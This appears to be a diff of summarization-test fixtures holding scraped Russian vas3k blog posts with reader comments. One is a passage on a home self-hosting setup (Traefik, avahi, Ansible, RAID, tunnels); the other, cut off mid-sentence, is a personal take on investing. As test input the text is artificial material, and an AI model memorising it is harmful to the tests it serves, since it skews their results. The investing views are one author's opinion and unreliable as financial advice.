сейчас всё вместе жрет. 1 Вастрик andr, вот этот самый сайт, на котором ты сейчас пишешь, хостится на самом дешевом VPS от хецнера за 5 баксов с еще 4 такими же сайтами в докерах, у каждого из которых своя база, тоже в своем докере. И ничо, брат жив. 3 us2h andr, я чет не очень представляю, как один и тот же сервис жрет в два раза больше в докере чем без, миллион сервисов запускаю в докере и никогда такого не видел. 0 Anton Serdobov andr, Так надо образы тюнить, если есть проблемы с потреблением. Часто пересобрать образ на alpine уже экономит ресурсы. А какие-то вещи можно совсем без базового образа собирать. Войти и написать 🌎 Traefik — собираем в одном месте Когда контейнеров с сервисами становится много, типа 10+, начинаются проблемы. К каждому приходится запоминать порт, придумывать где хранить все конфиги, авторизацию — всё это быстро запутывается как провода в тумбочке. Простой выход — использовать готовые решения типа Umbrel, которые абстрагируют всё это за тебя и дают свой типа App Store. Для большинства юзеров пойдёт. Но если планируешь запускать много кастомных докеров — готовые решения могут быть болью в жопе. Тут на ум приходит популярный в кругах Go'шников старый добрый Traefik, который всё это богатство красиво собирает под себя. Traefik — это такой же реверс-прокси как Nginx, только написанный в этом десятилетии. Он уже по-умолчанию заточен под работу с докерами, а еще даёт из коробки SSL, подсети, авторизацию, и кучу других полезных плагинов, ради которых раньше приходилось долго танцевать в конфигах Nginx и Let's Encrypt. В простейшем случае, чтобы развернуть контейнер на новом поддомене, нужно просто добавить пару-тройку "меток" (labels) в ваш Docker Compose, чтобы Traefik их прочитал и сделал всю магию автоматически. Даже перезапускать его не надо, всё дискаверится автоматически. Даже не нужно лезть в конфиги самого Traefik, контейнеры дискаверятся автоматически Моя домашняя сеть недоступна из интернета, потому я пока забил на SSL. Но это плохо, обязательно наверну его позже. 7 комментариев 15 Yaroslav Storozhenko я просто использую caddy, который из коробки умеет в ssl и вообще его конфиг выглядит азбукой на фоне уебищного nginx где 2 тысячи мест для конфигов, еще 2 миллиона на подходе, а чтоб подключить ssl надо бойлерплейта килограмм накопировать. А для авторизации есть удобный плагин, который легко настраивается Сервисов у меня своих крутится в докере штук 15, пока что я просто для них рандомный порт назначаю из головы, пока что еще не было коллизий 4 Petr Korolev О, вот это самое интересное! Всем хорош nextcloud, пока дело не доходит до Шеринга данных с кем-то еще. А если шарить только для себя - можно пробросить tailscale. Крайне рекомендую. Он добавляет девайсы в одну VPN-ку и ты можешь общаться со всем домашним зоопарком из любой точки мира. 0 us2h Yaroslav Storozhenko, а че за плагин для авторизации подскажи плз. А то я вот так у себя basic auth реализовал на caddy: https://github.com/us2h/docker-registry-stack/blob/master/manual-installation-disk-storage/data/caddy/start-caddy.sh https://github.com/us2h/docker-registry-stack/blob/master/manual-installation-disk-storage/data/caddy/Caddyfile и запускаю в compose это через command: sh /start-caddy.sh 0 us2h Petr Korolev, я сейчас тоже все через tailscale зарулил, но мне не нравится что он не полностью selfhosted, "голова" все равно у них. Хочу как то разобраться с netmaker и пересесть на него. 0 Sergey Petrov us2h, у tailscale можно просто поднять свой control server чтобы закрыться в себе https://github.com/juanfont/headscale 0 us2h Sergey Petrov, О, пасиб, посмотрю. 0 feduza Для Caddy есть плагин, тоже позволяющий прописывать настройки в лейблах контейнеров: https://github.com/lucaslorentz/caddy-docker-proxy Ещё можно автоматически выписывать настоящие SSL-сертификаты на купленный домен, не открывая доступ из интернета с помощью DNS-challenge: https://caddyserver.com/docs/automatic-https#dns-challenge (тоже с помощью плагинов для провайдеров DNS) Войти и написать Еще Traefik дает классный дашборд, где всегда можно посмотреть почему сервис не завёлся как надо и откуда сыпятся ошибки 🕸️ mDNS — выдаём локальные имена Каждый сервис живет на своем локальном поддомене. home.local — это главная страница всего (дашборд со ссылками), а дальше идут syncthing.home.local, homeassistant.home.local, gitea.home.local, stats.home.local и так далее. Откуда берутся локальные домены? Старый добрый avahi-daemon анонсирует их все через Multicast DNS на вашу домашную сеть автоматически. Даже не надо поднимать свой DNS сервер, чтобы у тебя были красивые URL. У гостей тоже работает (если у них не доисторические девайсы). На убунте оно уже буквально включено из коробки. Просто откройте в браузере [ваш_хостнейм].local и узрите. Если нет — просто делаем sudo apt install avahi-daemon и вот оно магически появляется. 5 комментариев 0 Andrii Havryliuk Спасибо! Как раз задался вопросом как весь зоопарк портов во что-то запоминаемое превратить. 13 Вастрик Andrii Havryliuk, там у mDNS все еще с поддоменами проблема, но есть лайфхак — анонсировать каждый поддомен самому (у меня это Ansible делает). Типа того: "avahi-publish -a subdomain.home.local -R 192.168.1.10 &" Вот пост: https://pi3g.com/2019/04/10/avahi-how-to-assign-several-local-names-to-same-ip/ 1 Sergey Grishin Я для этого как раз написал https://github.com/grishy/go-avahi-cname Делает тоже самое, что и avahi-publish, но не нужно указывать IP и на все адреса 2 Artem Tiumentcev Можно рассмотреть такой вариант https://github.com/hardillb/traefik-avahi-helper, просто запускается рядом. 0 us2h Я использую в локалке pihole и его же указываю как первичный DNS, а в нем в свою очередь прописываю локальные айпи для поддоменов. Получается что вне моей локалки я хожу на nas.example.com и попадают на внешний айпи которой делает порт форвардинг в локалку, а в локалке этот же домен резолвится в локальный айпи. Войти и написать 🖼️ Home Page Дальше встает выбор дашборда. Можно, конечно, хранить все эти ссылки просто в закладках, но мне удобнее когда я захожу на home.local и сразу кликаю на нужный мне сервис. Traefik даже умеет пробрасывать всем единые хедеры с авторизацией, чтобы не вводить каждый раз логин-пароль. Дашбордов на гитхабе дофига, я выбрал Homer с темой Homer v2. Он так же разворачивается через docker-compose и встает одним из сервисов. Все универсально, нравится. 2 комментария 4 Yaroslav Storozhenko я этих дашбордов наелся, работают все на тонне джаваскрипта, чет постоянно не грузится или лишнее кешируется. Поэтому сделал свой дашборд для аутистов и вывалил на гитхаб: https://github.com/AngryJKirk/navigation-dashboard 2 Vladimir @nett00n Bu У меня эту роль выполняет https://github.com/benphelps/homepage Люблю минимализьму Войти и написать Homer. Если бы он умел еще конфиги Traefik автоматически парсить чтобы добавлять новые плитки — вообще был бы пушкой 🎛️ Приложеньки Дальше уже можно разворачивать любые сервисы из списка Awesome Selfhosted и играться как ребенок с кубиками. У меня набор пока минимален: Syncthing. Одно из самых моих любимых приложений вообще. Оно неубиваемое, делает одну вещь и делает ее хорошо вот уже много лет — синхронизирует файлы напрямую между машинами без облака. Filebrowser. Да, прям так и называется. Легковестная браузилка файлов, выручает когда нужно «найти в архиве документов свой старый контракт» или что-то такое. Почти ничего больше не умеет, но оно и не нужно. Nextcloud. Комбаин всё-в-одном — и файлохранилище, и календарь, и чат, да даже почту умеет за вас забирать. Раньше пользовался активно, но сейчас немного устал от монструозности и выбираю решения попроще. Однако, главным плюсом Nextcloud все еще остается мобильное приложение — через него удобно как смотреть что-то на сервере, так и бекапить фоточки с телефона. Home Assistant. Установлен из докера, потому немного урезан по фичам. Например, не умеет устанавливать всякие приложения внутри — SSH-терминал или HomeKit-хаб. Но мне так даже больше нравится, а при желании я могу всё это поставить сам рядом. Cronicle. У меня куча периодических cron-задачек, которые кто-то должен исполнять и мониторить чтобы не падали. Бекапы всех моих сайтов, скрипты, группирующие чеки по папочкам для налоговой, и прочее. С обычными крон-тасками главная проблема — он внезапно ломаются и ты об этом узнаешь только спустя месяц. Portainer. Для меня это просто удобная веб-админка ко всем докерам. Посмотреть логи, какие контейнеры запущены, где кеши надо почистить и прочее. Gitea. Локальный гитхаб, туда зеркалятся все мои репо. Зачем? Ну вот когда настоящий Гитхаб наконец-то забанит меня потому что я русский ванька (как он делает с иранцами, например) — тогда и поймёте зачем. PhotoPrism. Ваш собственный Google/Apple Photos. Его даже немножечко обмазали нейросетями и он умеет находить фотки по простым запросам типа «car» или «budapest». У меня есть ритуал — каждое рождество сливать все фотки за год из облаков на диск в хайрезе, потому что все мы слышали истории как тот же Google со временем просто пережимал ваши фотки в 10 шакалов, чтобы экономить место. Теперь они все еще и автоматом индексируются PhotoPrism'ом и их можно потом смотреть с друзьями через аппку на телефоне. Your Spotify. Ваш собственный Last.fm. Ну, почти. Простая аппка, которая сохраняет себе всю историю ваших прослушиваний Spotify и может показывать статистику а-ля Spotify Wrapped только не раз в год, а хоть раз в месяц или раз в неделю. Чисто залипалово. Ну и локальное хистори музыки всегда полезно. Эх, аж заскучал по Last.fm. ArchiveBox. Ваш собственный Internet Archive (он же Wayback Machine). Я еще не угорел по «архивации всего, что я смотрел и читал», но в тусовке есть любители. Работает так: ставишь плагин в свой Firefox и он автоматически сохраняет тебе на сервер ВСЁ, что ты браузил в интернете. Даже если контент был удалён (что сейчас часто бывает) — ты всегда можешь прочитать его из личного архива. Всё равно HDD стоят дешево. Pi-hole. Блокировщик рекламы и локальный DNS-резолвер. Давно не использую, поставил чисто по привычке, но вдруг! Glances. Максимально простая и удобная страничка мониторинга сервера. Просто условный htop + docker ps + df -h еще пара стандартных команд, выведенных в одном месте. Нравится. Даже передумал ставить стандартную связку Prometheus + Grafana, так как его хватает. Но может поставлю еще чисто для статистики. 🏴‍☠️ В моем списке нет популярных сервисов типа Plex, Transmission и Jellyfin, которые офигенно позволяют построить свой Netflix на торрентах. Это всё опять из-за Германии, где торренты запрещены. Но вам я очень рекомендую! Отыграйтесь там за мою боль. 2 комментария 0 Vladimir @nett00n Bu Вместо portainer я бы рекомендовал Yacht, так как он не пытается в кластеризацию, зато хорошо дружит с контейнерами, поднятыми не через стол портейнера 1 feduza PhotoPrism у меня не справился с чтением таймстемпов из метаданных и некоторые фотки вставил куда попало. Посмотрел на конкурентов и в итоге выбрал Immich. Сравнительная таблица: https://meichthys.github.io/foss_photo_libraries/ Войти и написать Glances покрывает необходимый минимум параметров сервера, чтобы не ходить всё время по SSH 📚 Ansible! (не умер) Потому что всё точно сломается и придется накатывать с нуля Последний вопрос — как это всё хранится и конфигурируется. Для этого у меня есть локальный гит-репо со всеми конфигами и старый добрый Ansible. Да-да, он еще живой. Они даже с питона 2 его наконец-то переписали. И десять лет не прошло. Ансибл используется для накатывания всего моего сетапа с нуля. Я не так часто настраиваю новый сервер и каждый раз вспоминаю «чо там еще надо было установить». Теперь всё это просто записано в плейбуке, в конце которого Ансибл просто копирует весь репо на хост и делает docker-compose up -d для каждого сервиса. Красиво. Надо лишь не забывать время от времени конфиги подкоммичивать в гит. Когда что-то меняешь через UI — будущие поколения об этом не узнают. Длинный playbook, который сетапит всё добро с нуля одной командой 4 комментария 10 Никита Сороковиков На секции про докер сдержался от упоминания NixOS-a, на секции про ансибл не сдержался 34 Валерий Симонов hoeassistant lol 51 Вастрик Валерий Симонов, ах вот блять почему не открывается! 1 us2h Плейбук красив своей простотой. А есть где почитать роли? А то я сейчас тоже весь свой хоумлаб в ансибл описываю и хожу смотрю как народ делает. Основная цель - читабельность и простота, что бы и другим было легко читать и себе через год. Войти и написать 💾 RAID1 через mdadm, zfs или простой rsync В детстве такой проблемы не было. Данных было немного, а линуксы переустанавливались каждые пару месяцев. С годами, или как в моем случае с десятилетиями, ты начинаешь замечать насколько хрупки HDD, даже если покупаешь специальные WD Red для NAS. Однажды утром ты просыпаешься, наливаешь себе кофе, а левым ухом слышишь треск из под телевизора — один из твоих HDD сдох. Ты идешь и покупаешь в два раза больше дисков и делаешь на них RAID1. Ну либо, если у тебя уже дофига дисков разного размера — делаешь ZFS по-модному. Ну а если ты нищеброд — просто по старинке настраиваешь cron+rsync всех важных папочек на соседний диск. Каждый подход имеет свои плюсы и минусы. Выбирайте сами. В линуксах есть просто прекрасный своей простотой mdadm, позволяющий буквально в две команды собрать себе софтварный рейд-массив, а в случае деградации — пересобрать. Mdadm позволяет жонглировать дисками как горячими пирожками, хотя и каждый раз стрёмно, конечно. Потому сейчас я решил попробовать чуть более олдскульный метод — rsync'ать все данные с диска на диск раз в неделю и мониторить это отдельно. Так тоже можно, если вам важно именно иметь бекапы, а не high availability. Но для новичков это всё еще опционально. В идеале лучше вообще всё бекапить в облако, ведь даже самый лучший домашний RAID-массив можно просто физически наебнуть с полки на пол и потерять всё. Не хотелось бы. 4 комментария 3 Magistr если у тебя уже дофига дисков разного размера — делаешь ZFS по-модному Для zfs это антипаттерн, и там обычно как раз используют диски одного размера, а вот когда дофига дисков разного размера тогда unraid пригождается 4 Yaroslav Storozhenko Я забил на все рейды когда я умудрился похерить одновременно оба диска путем разъебывания файловой системы. Теперь у меня просто есть три внешних диска куда я закидываю данные просто по очереди, чуть дольше, но 1) ошибку не повторю 2) высокая надежность 3) в самолете если везти с собой диски то их можно держать у разных людей в разных чемоданах 0 mcornholio Я считаю, что zfs стоит того из-за прекрасного тулинга и снапшотов. В идеале лучше вообще всё бекапить в облако, ведь даже самый лучший домашний RAID-массив можно просто физически наебнуть с полки на пол и потерять всё. Не хотелось бы. Вот кстати у меня бэкапы двух компьютеров (домашнего и дедика) сделаны отправлением zfs-снапшотов друг в друга. Охуенно просто, горжусь. 2 us2h У меня локально Synology с raid5, а бекаплю важное с него в Minio кластер (s3). Нашел VPS хостинг, виртуалки по 5 баксов за террабайт. Поднял три в разных странах. Собрал в кластер (написал ансибл, где указываешь три айпишника, адрес где будет прокси и домен и готово, все поднимается в докере) и в итоге у меня S3 like сторадж, на 2ТБ за 15 баксов в месяц, в котором может упасть любая из трех нод и он продолжит работать. Туда делаются бекапы важных данных (все кроме фильмов и сериалов) из локального NAS, причем он их на своей стороне энкриптит и кладет уже зашифрованные. Войти и написать 🛣️ Cloudflare Tunnel? Ну а вишенкой на торте и самым хайтеком современного селф-хостинга считается Cloudflare Tunnel. Я пока не знаю зачем он мне, но очень хочется. Ты по сути можешь так и держать свой сервер только в домашней сети (за NAT'ом), но поставить на него специального демона, который устанавливает приватный шифрованный тоннель с Cloudflare и дальше может через него иметь доступ ко всем своим домашни сервисам из любой точки интернета. Сейчас люди с публичными IP адресами такие «эээ, а в чем разница???», но я живу в стране, где иметь дома публичный IP это как иметь дома Porsche (и то вторых больше), так что тут народ прям ликует по поводу Cloudflare Tunnel. 9 комментариев 9 Андрей Руденко а tailscale видел? 1 Вастрик Андрей Руденко, ага, он тоже популярное решение, даже старше Cloudflare. Он классный, что может делать тебе твой личный VPN прямо домой через удобную аппку. Ну как соберусь делать, может еще повыбираю между ними 3 Holovin А я zerotier юзаю, его при желании можно даже заселфхостить (координатор например на свой vps поставить) 2 Nikita Burtsev С некоторым количеством мата я пробросил home assistant через cloudflare tunnel + zero access для google auth, порадовался как все круто работает в браузере и запустил ios app который со всеми этим оказывается совсем не дружит. Буду придумывать новые костыли. 11 Вадим Ипполитов Ещё вариант доступа: на дешёвом VPS настраиваем Wireguard, к которому цепляемся с мобильных девайсов и с домашнего сервера (все пиры пихаем в одно адресное пространство). Минусы: с рандомного компа не зайдёшь. Плюсы: более секьюрно. 0 Lagunovsky Ivan Использую для этого https://github.com/fatedier/frp 0 Vlad Zaitsev О, прикольно, еще полтора года назад он еще не умел нормальный туннель. Сидел на tailscale. Но у него какая-то бага с мобильным клиентом, он очень любит мобильный. трафик жрать. Ушел на свой WG: https://habr.com/en/company/xakep/blog/699000/ 2 us2h в Украине не было проблем со статическим айпи дома и так к этому привык что в Европе удивился узнав что это редкость и сложно. Набросал себе такой себе dyndns скрипт который в докере крутится прямо на насе и проверяет внешний айпи, если поменялся идет по API в Route53 (домен хощу на aws) и апдейтит рекорды. https://github.com/us2h/ddns 0 us2h Но вообще все девайсы завернуты в tailscale и например есть торентокачалка в виде vps в Украине, там поднят торрент клиент с вебмордой настроенный на watch определенной папки и скачивающий торренты в другую папку, а папки смотрят в NFS шару домашнего NAS, связаны они при этом в локалку через tailscale. Просто бросаешь торрент файлик в папку, и через какое то время в соседней уже лежит скачаное. Прогресс можно смотреть через вебморду, ну или если надо кастомизировать закачку. Войти и написать 🔗 Ссылочки для вкатывания Вместо заключения положу вам ссылочек, чтобы процесс вкатывания во всю эту историю с селф-хостингом и автоматизацией был попроще. r/selfhosted, r/homelab и r/homeaassistant на Реддите для входновения (сортируете по top of the year или top all time и залипаете) Awesome-Selfhosted и Self Hosting Guide — курируемые списки приложений, которые можно селфхостить. Рекомендую еще глянуть топ гитхаба по тегу. Ultimate Traefik Docker Compose Guide [2022] with LetsEncrypt — статья, где по шагам рассказывают примерно мой сетап Селфхостишь? и Что у вас крутится на Raspberry Pi? — вопросы-треды в Клубе Umbrel — интересный пример как сделав красивый фронтенд к docker-compose можно поднять $3 млн инвестиций. Jeff Geerling и Wolfgang's Channel — популярные каналы на ютюбе Комментировать Войти и написать +============== diff --git a/tests/summarization/https___vas3k.blog_notes_invest_.txt b/tests/summarization/https___vas3k.blog_notes_invest_.txt new file mode 100644 index 0000000..3704f3a --- /dev/null +++ b/tests/summarization/https___vas3k.blog_notes_invest_.txt @@ -0,0 +1,2 @@ +Судя по моему твиттеру, в России две беды: нищета и «бля, моя айтишная зарплата такая большая, не знаю куда вложиться». Но так как курсов по датасаенсу скоро будет больше, чем супермаркетов Пятёрочка, сегодня речь пойдет о второй проблеме. Простите. [здесь место для сжигания покрышек и лозунгов EAT THE RICH] 6 комментариев 29 Vladimir @nett00n Bu EAT THE RICK 18 Кирилл Горбачёнок PEACH THE RICH 14 Egor Abramenko CLEAR THE BEACH 11 Ivan Boldyrev EACH RICH BITCH 22 Dmitriy Spivakov CALL KUZ'MICH 29 Anatolii Kuzmin Dmitriy Spivakov, YA ZDES, CHEGO ZVALI? Войти и написать Тема инвестиций была в последние годы была нарочито расхайпована всякими брокерами с их модными приложениями и конскими комиссиями, а потом еще и обросла ордами мошенников-инфоцыган. Вообще даже просто писать об инвестициях в стране, пережившей МММ (дважды!), будет зашкварно еще много-много лет. Но если абстрагироваться от цыган, проблема-то всё равно остаётся — вот жил Вастрик в провинции, ковырял свои кумплюктеры, потом вдруг это стало приносить ему деньги, да так, что закрыло основные потребности. Потребности в роскоши у Вастрика никогда особо не было, потому остатки он просто копил. Финансовой грамотности у Вастрика тоже было ноль, он же из провинции, его в школах учили интегралы брать и снег лопатой кидать на субботнике, а не вот это всё чуждое капиталистическое. Так что и вложить их он мог максимум в такой же МММ, Биткоин, или что там сейчас по телевизору. К счастью, со времен того Вастрика, этот проделал долгий путь проб и ошибок, вроде чего-то понял, и его часто просят поделиться. Для начала, как и положено, оговоримся, что всё это не является финансовым советом, а лишь историей автора, которую ни в коем случае нельзя воспринимать как рекомендацию. ? Да, даже несмотря на то, что это сообщение не имеет юридической силы в нашей стране, мне всё равно важно еще раз подчеркнуть, что написанному в интернете нужно не верить, а лишь добавлять сказанное в корзинку собственных фактов и анализировать. Тем более на каждую такую статью в интернете найдётся вторая, где будут рекомендовать тотально противоположное. DYOR, как говорят криптоцыгане. 1 комментарий 28 Ivan Boldyrev Между прочим, акции под тикером MMM на бирже есть. Не является инвестиционной рекомендацией. Войти и написать Зачем вообще инвестировать? Все статьи начинаются с банальщины, которую знает даже ребенок. Когда деньги просто лежат — они обесцениваются. Цены всегда растут, а деньги нет. Конечно, в России с экономическими каруселями своя отдельная история, но даже «развитые западные страны» специально стимулируют своих граждан пускать свои деньги в оборот, а не хранить на счетах. Так, например, в 2022 году мой банк в Германии начисляет «отрицательный процент» по всем счетам от €50,000 — то есть фигурально откусывает у меня процентик каждый год с тех денег, которые я там решил накопить себе на черный день или квартиру к пенсии. Такой вот пиздец, ребятки. У вас в России хотя бы еще есть возможность просто положить на вклад и радоваться капающим процентикам, а здесь в наших Европах уже аж напрямую говорят — ты либо инвестируешь, либо мы их забираем. Финансовую грамотность приходится качать прямо в очереди на самолёт :) Так что если вы задаётесь вопросом «а надо ли оно мне?» — скорее всего нет, не надо. Вы счастливый человек, откройте вклад, закройте интернет и не читайте блоги инфоцыган и брокеров, которые льют вам в уши про пассивный доход, а сами просто хотят драть с вас комиссии. Я их тоже тут не собираюсь продавать. Кому же действительно «надо», чувствуют это по жжению в заднице и подобных вопросов уже не задают — такое вот правило буравчика. Для последних рассмотрим варианты. Смотреть калькуляторы инфляции всегда грустненько, причём это даже в валюте 6 комментариев 15 Чашечников Вадим Да, блин, инфляция самый большой НОЛОГ на богатых. Ты принимаешь игру, копишь эти мерзкие зелёные бумажки, а потом оказывается, что они печатают такие же мерзкие зелёные бумажки и раздают бедным. Что за фигня? А? 1 Iurii Shchekochikhin Можно покупать квартиры например, их строить от раздавать бедным немного сложнее 8 Александр Котов Я не думаю что долларовая инфляция будет прям 5% каждый год до 2040го... Несмотря на ковидчественное смягчение и поражение США в 4-й мировой войне, полагаю что через несколько лет долларовая инфляция стабилизируется на привычных 1-2% в год. График не будет настолько грустным. 14 Sergey Petrov Чашечников Вадим, инфляция это как раз нолог на бедность: богатые всегда могут вложиться в недвижку, крипту, всего с 6кк получаешь квала и имеешь доступ ко куче инструментов на бирже чтобы сохранить и приумножить свои активы (а не хранить их в зеленых бумажках под подушкой) а вот у бедных из всего изобилия инструментов есть только сберкнижка по которой процент не покроет даже инфляции и все что они могут делать это не беднеть быстро 2 Pavel Mosein Sergey Petrov, бедные не имеют накоплений же :) 0 Андрей Кулаковский -60% за 20 лет это даже как-то очень хорошо, на фоне рубля-то Войти и написать Куда точно не надо инвестировать ⛔️ В тех, кто сам вас нашел ЭТО. ВСЕГДА. ПИРАМИДА. Они называют себя «маркетинговым агентствами», «личными инвестиционными менеджерами», «пенсионными консультантами» и прочими умными словами, а под маской всегда скрыто одно и то же — ПИ-РА-МИ-ДА. Их очень много. Не буду далеко ходить за примером — вот мой собственный батя в прошлом году открыл мне «свой секретик», что друзья пригласили его вложить около $16,000 в ИнВеСтИцИоНнЫй КлУБ, который строит в недвижимость на тропических островах и обещает минимум 30% годовых, так что вот еще немного и мы миллионеры, сынка... Блять. И это человек, который пережил сберкнижки, вексели, несколько волн МММ и вообще весь разводняк 90-х. Запомните правило буравчика: нормальные варианты инвестиций никогда не будут вам специально навязывать. Рекламируют всегда то, что выгодно рекламодателю. Даже честные брокеры чаще всего выставляют на показ только самые выгодные для них варианты по комиссиям, иначе зачем. Все нужные вам инструменты уже есть у любого крупного банка в вашей стране. Просто их нужно найти и проанализировать самому, а это думать надо, тут не каждый может. 1 комментарий 13 Чашечников Вадим Я общался с ДУшниками, и все они всегда имеют одно правило - легче работать с одним человеком, который дал лям, чем с тысячами, которые проинвестировали по 10к. Для вторых - это часто последние 10к, каждый из них будет париться о своих деньгах, что-то постоянно спрашивать, требовать, выводить деньги, вводить деньги, если будет убыток, то сразу же будут претензии и так далее. А если же человек заработал лям, то человек достаточно умён, чтобы не давать вам последний свой лям. Поэтому не стоит обижаться, когда хороший ДУшник, даже если друг/знакомый, отказывается взять 500 евро, хотя как будто всем от этого будет лучше, и тебе профит, и ему процент. Войти и написать ⛔️ Играть на биржах Покупать всякие акции, крипту, фьючерсы, шортить Трейдинг не имеет ничего общего с инвестициями. Это развлечение, типа ставок на спорт или покера. Я не против легальных казино, это всегда азарт и веселье, просто будьте честны с собой — не называйте это инвестициями и не несите туда то, что не готовы проиграть. То же касается криптовалют и прочих спекуляций. Играйте на здоровье, но не «инвестируйте» в это. Всё, что простой человек может заработать на трейдинге — тревожность и бессонницу. Как в казино всегда выигрывает казино, так же и в трейдинге всегда выигрывает брокер. Даже Волки с Волл-Стрит из того самого фильма никогда не трейдили своими собственными деньгами, если помните. Помимо очевидных рисков, в трейдинге есть и скрытые неприятности — налоги, например. Государства обожают обкладывать все азартные игры налогами, так что не удивляйтесь, что в конце года с ваших честно натрейженных бессонными ночами 10,000 рублей государство захочет себе половинку. И это не считая пары-тройки тысяч рублей комиссий брокеру, которую вы уже заплатили. Я прошел этот путь, больше не хочу. 6 комментариев 9 Чашечников Вадим Глубоко не согласен, очевидно, что рандомные покупки и продажи вручную без стратегии - игра с отрицательным результатом, ибо комиссии и так далее. Почему-то люди постоянно упускают алгоритмические спекуляции. Они бывают разные от NFT до HFT))). Но тут можно использовать научный метод и иметь прибыль. Алгоритм создания простой Определяешь уязвимость рынка Формируешь стратегию Делаешь бектестинг Делаешь симуляцию как бы твой алгоритм работал, видя только предыдущие данные. Если алгоритм приносит прибыль, то можно попробовать запустить его, если нет, то пытаемся улучшить или пилим новый Да, это очень большая работа по написанию и поддержанию системы, но такой вариант всё же есть и этим занимаются от челиков в банках до небольших групп олимпиадников, и многие кайфуют. На вопрос "На ком они зарабатывают?" - ответ: на челиках с рандомными покупками, ололо трейдерах, новичках инвесторах, фанатах волн Элиота и Меркурия в Венере, в общем, есть на ком. 26 Ярослав Мирошников Чашечников Вадим, и вот на пункте 1 всё и кончается… 5 Sam Lowry Извини, но выскажусь на бдсм сленге: это ванильный сироп какой-то… У тебя не получилось — это не значит, что не получилось у всех. Корешь, который прошёл всё в крипте, недавно заявил мне, что именно трейдинг ему заходит больше всего. Что он видит себя только в нём в вопросах инвестирования, хотя он и майнил, и участвовал в ICO, и HODLил, и что-то там ещё делал. А ты раздаёшь в каком-то безоговорочном стиле айтишного мануала подобные советы — мне решительно непонятно, на чём вообще такая безоговорочность основана. Неужели ты личные склонности (психотип) и ошибки путаешь с реальным положением вещей? Кому-то всё, что в этой статье написано ниже, во что, по твоему, надо инвестировать, решительно не зайдёт, а зайдёт именно трейдинг. Более того: один из моих корешей поднял начальный капитал в… МММ 2.0, или 2011, или как там его звали. Сейчас он на фондовых рынках сидит и ещё больше вырастил свой капитал. Точно также другой кореш, довольно известный по вирусным новостям айтишник, российский стартапер, вынул вместо вложенной штуки баксов в несколько раз больше за несколько дней до того, как этот МММ развалился. Я же свою штуку вынуть не успел. Но и он и я вкинули каждый свою штуку понимая абсолютно всё, воспринимая это, как высокорисковую инвестицию. В-общем, печально, крайне печально видеть такое, с латексом ты как-то демократичнее всё подавал — очевидно же, что трейдинг это тот же латекс. Ну а айтишные статьи вообще бомбические были, как жаль, что ты не смог к этому вопросу приложить свой замечательный ум и подход. 64 Daniil Olshevskiy Поверьте!!! Я сама с Волл-Стрит, живу тут 50 лет. Дочь брокера. Просто поверьте, - у нас не все так однозначно... Никто не хочет, чтобы вы потеряли деньги!!! 15 Sergey Vasilenko Тут речь идёт именно про трейдинг. Есть у брокеров статистика, сколько трейдеров выходят в плюс в течении долгого периода времени. Так вот если взять за десять лет, то очень маленький процент, кто хотя бы не потерял. В книге Бэнджамина Грэма как раз приведены ссылки на эти исследования. То что у вас сын маменлй подруги смог заработать на чём-то - это хорошо, но это не статистика, а исключение, которое скорее всего не подойдёт для обычного среднестатистического айтишника. 1 Чашечников Вадим Ярослав Мирошников, well. Их дофига от простейшего арбитража и "магнитизма" целых чисел до сложного фундаментального анализа в виде прочтения последних 5 лет отчетов компании. Очевидно, что это работа, при этом огромная, но это возможно и, на моём опыте, являлось в какое-то время частью заработка большого количества крутых людей. Войти и написать Куда можно инвестировать? 🥰 Самый выгодный вариант: в себя Пункт, который обычно пропускают во всех статьях. Самое выгодное вложение любых освободившихся средств — в себя и свои идеи. Прокачайте скиллы — хоть летать, хоть вышивать; ебанитесь в дополнительное образование, да в тот же MBA; уйдите в саббатикал и запилите тот свой проект, о котором давно мечтали; попытайтесь его раскрутить и ощутите как быстро вас растерзают хейтеры. Да, я гарантирую, все ваши первые идеи провалятся. Но тот опыт, что после этого останется, принесёт вам намного больше профита и знакомств в перспективе, чем любому мамкиному трейдеру, просидевшему ночами за терминалом (при одинаковых исходных данных, конечно). Люди с опытом «своего дела» и люди без даже по глазам отличаются. Понял бы я это раньше — инвестировал бы в себя и свои даже самые глупые идеи намного активнее, а не сохранял «на черный день». Я даже иногда специально «плачу» себе вымышленную зарплату, когда занимаюсь каким-то пет-проджектом, чтобы особенно подчеркнуть тот момент, что это тоже важное вложение в себя и что я могу это потратить. А потом «повторно» заработанное можно вложить в раскрутку проекта и прочее. Идеальный самообман. Любой экономике по определению выгоднее, чтобы как можно больше человек запускали свои бизнесы, так что (нормальные) государства будут обкладывать вас налоговыми вычетами и бонусами по самое не балуй. ? Конечно же с целью драть потом налоги, когда ваш проект выстрелит. Хотя в России всё еще никто этим не пользуется, ведь налоги и так низкие, тут в Германии каждая инстаграм-блогерша вычитает любое платье и косметику из налогов как «рабочие инструменты». Я лично два года подряд декларировал отрицательный доход по пет-проджектам и отбивал назад часть налогов с официальной зарплаты, пока сами пет-проджекты её не превысили :) Просто об этом мало кто говорит, ведь в таких статьях все хотят поскорее перейти к тому пункту, где вам рекламируют свой канал с инвестициями. А я вот говорю ❤️ 7 комментариев 5 Ilya Lazarev *чтобы как можно человек запускали 5 Andrey Rakhubovsky «плачу» себе вымышленную зарплату -- а как это происходит, реально интересно :) 4 Вастрик Andrey Rakhubovsky, ну типа у тебя в этом месяце осталось $1000 свободных после всех трат на аренду, еду, путешествия. Ставишь себе чисто от балды личную ставку $20-50 в час. Так у тебя есть честные 20-50 часов оплаченного труда нормального программиста в этом месяце, чтобы запилить проект. Погнале! 2 Александр Котов Примерно сюда же - инвестировать в свою среду обитания. Например, сделать ремонт в квартире, чтобы бабы после этого стонали от одного взгляда на свежую отделку! Или вложить время в улучшение городской среды вокруг дома в котором живёшь... Или проинвестировать во что-то семейное, например... 0 Anton Arkhipkin Я лично два года подряд декларировал отрицательный доход по пет-проджектам и отбивал назад часть налогов с официальной зарплаты, пока сами пет-проджекты её не превысили :) как ты умудрялся столько расходов подходящих навбивать?) 5 Вастрик Anton Arkhipkin, когда у тебя нет доходов, то и расходы набивать не проблема! :D 1 Александр Савиных Самая пиздатое вложение всегда в себя, особенно в наше не пиздатое время... Войти и написать 😎 Самый нормальный: покупать ETF'ки и не париться — Hey guys! I want to invest my... — A1JX52. Closed. (c) внутренний мем на сабреддите про финансовую независимость ETF — это когда какой-то умный фонд со столетней историей целым небоскрёбом аналитиков, сделал свой «плейлист» лучших треков ценных бумаг, и даёт возможность купить его, а не конкретные акции. За процентик конечно, фонду ведь тоже кушоть надо, но обычно это смешные 0.07-0.22%, да они еще и размазаны на весь год, так что их особо не чувствуешь. Для простого крестьянина это значит две вещи: Умные люди уже собрали тебе портфель в школу, не 